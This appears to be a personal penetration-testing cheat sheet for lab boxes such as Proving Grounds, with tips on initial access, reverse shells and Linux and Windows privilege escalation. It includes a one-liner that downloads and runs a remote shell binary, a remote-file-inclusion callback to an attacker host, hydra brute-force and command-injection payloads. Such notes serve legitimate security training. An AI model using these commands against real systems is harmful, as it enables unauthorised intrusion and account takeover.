Nmap scan: nmap -p- -sC -sV {IP_ADDRESS} --open
PHP reverse shell script: https://github.com/pentestmonkey/php-reverse-shell or pentestmonkey.net/cheat-sheet/
Check Linux System Information: uname -a
Bypass local security restrictions: https://gtfobins.github.io/#+suid (Refer to DC-1 workings)

Linux commands:
Ctrl L : clear terminal
Checking shell: echo $0

Initial AccessWeb discovery

- Search for http://site/[hostname] if you can't find a directory or software you think should exist.
- Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.
- Fuzz parameters with ffuf.
- Examine response headers for minor custom errors.

Getting a shell

- To save time, upload a web shell instead of manually executing PHP commands.
- Some PHP local file inclusion vulnerabilities can reference remote resources with ?path=http://[kali ip]/rev-shell.php.
- Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.
- Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: wget -P /tmp http://kali/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf
- If a CMS has an RCE, look closely at what/where it's implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.
- When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.
- Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add exit(0) in the python script after the account is created and use the credentials for another exploit.
- Use the same ports the box has open for shell callbacks.
- Try at least 4 ports and ping when trying to get a callback.
- If you can control data being read to the server, always consider serialization.
- Always test payloads locally, especially if it's blind.
- Consider where can you write data to that's then read back in to the server.

General

- Don't spin wheels on other routes if something has a known exploit to root and it's a 10 pointer.
- Check version numbers to ensure something isn't a false flag.
- Consider similar protocols. If you get an SSH key, try using it over SCP.
- Type version numbers carefully!
- For hydra always do -e nsr. Example: hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I
- Look for auth-owners in nmap to get usernames.
- FTP - always be in a directory on kali that's writable to download files.
- FTP brute force "admin".
- Search Metasploit modules for ideas https://github.com/rapid7/metasploit-framework.
- Search a software's Github page for version files that would give specific information.
- See Proving Grounds' Dibble for node.js RCE.
- Review page source code for commented out areas for every page.
- Guess parameters. If there's a POST forgot_pass.php with an email param, try GET /forgot_pass.php?email=%0aid.
- Parameter/command injection fuzzing:
    - Payload list: github.com/payloadbox/command-injection-payload-list

    - ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde
    - See Proving Grounds' Hetemit for an example
- When brute forcing credentials, guess the software name as the username and password.
- When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.

Windows Privilege Escalation

- Explore the C:\ drive root. Some scheduled tasks can't be seen as a low level user could be located at C:\.
- Always test a reverse shell on a windows box when attempting to get a shell.
- Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn't work, execute a command to change the Administrator password and used smbexec to auth.
- Identify all users. Attempt to brute force authentication via RDP
- Always view "C:\program files" and "C:\program files (x86)" for installed apps.

Linux Privilege Escalation

- Privesc scripts aren't always right:
    - e.g. a decoy exist item in crontab when sudo -l reveals a process dumper used to get credentials from memory.
- If a process dumper is available, don't Google too deep. See if there are custom "password" processes to target.
- su root is the best way to switch to root if you have a password but aren't in root group.
- Identify all users. Attempt to brute force auth ssh if /home or /etc/passwd is pulled.
- Always run echo $PATH to show available commands/locations.
- Docker - see Proving Grounds' Sirol/Escape box.
- If a user is in a group, it's probably for a reason.
- Fully understand software that's related to a user's group (e.g. fail2ban group).
- Use pspy to spy on processes and cronjobs you may not be able to see
- Run groups.
- cat ~/.profile && cat ~/.bashrc.
- If running as www-data, always inspect the contents of html or the application, look for commented out passwords.
- If another user exist, always su [user] with no password and their name as the password.
- Check /var/backups.
- Custom SUIDs won't be highlighted as linpeas and other privesc scripts don't know what they are.
    - Examine each and every SUD!
- Run linux-smart-enumeration/lse.sh as a backup privilege escalation script.
- Files with caps / capabilities - see Proving Grounds' Escape box.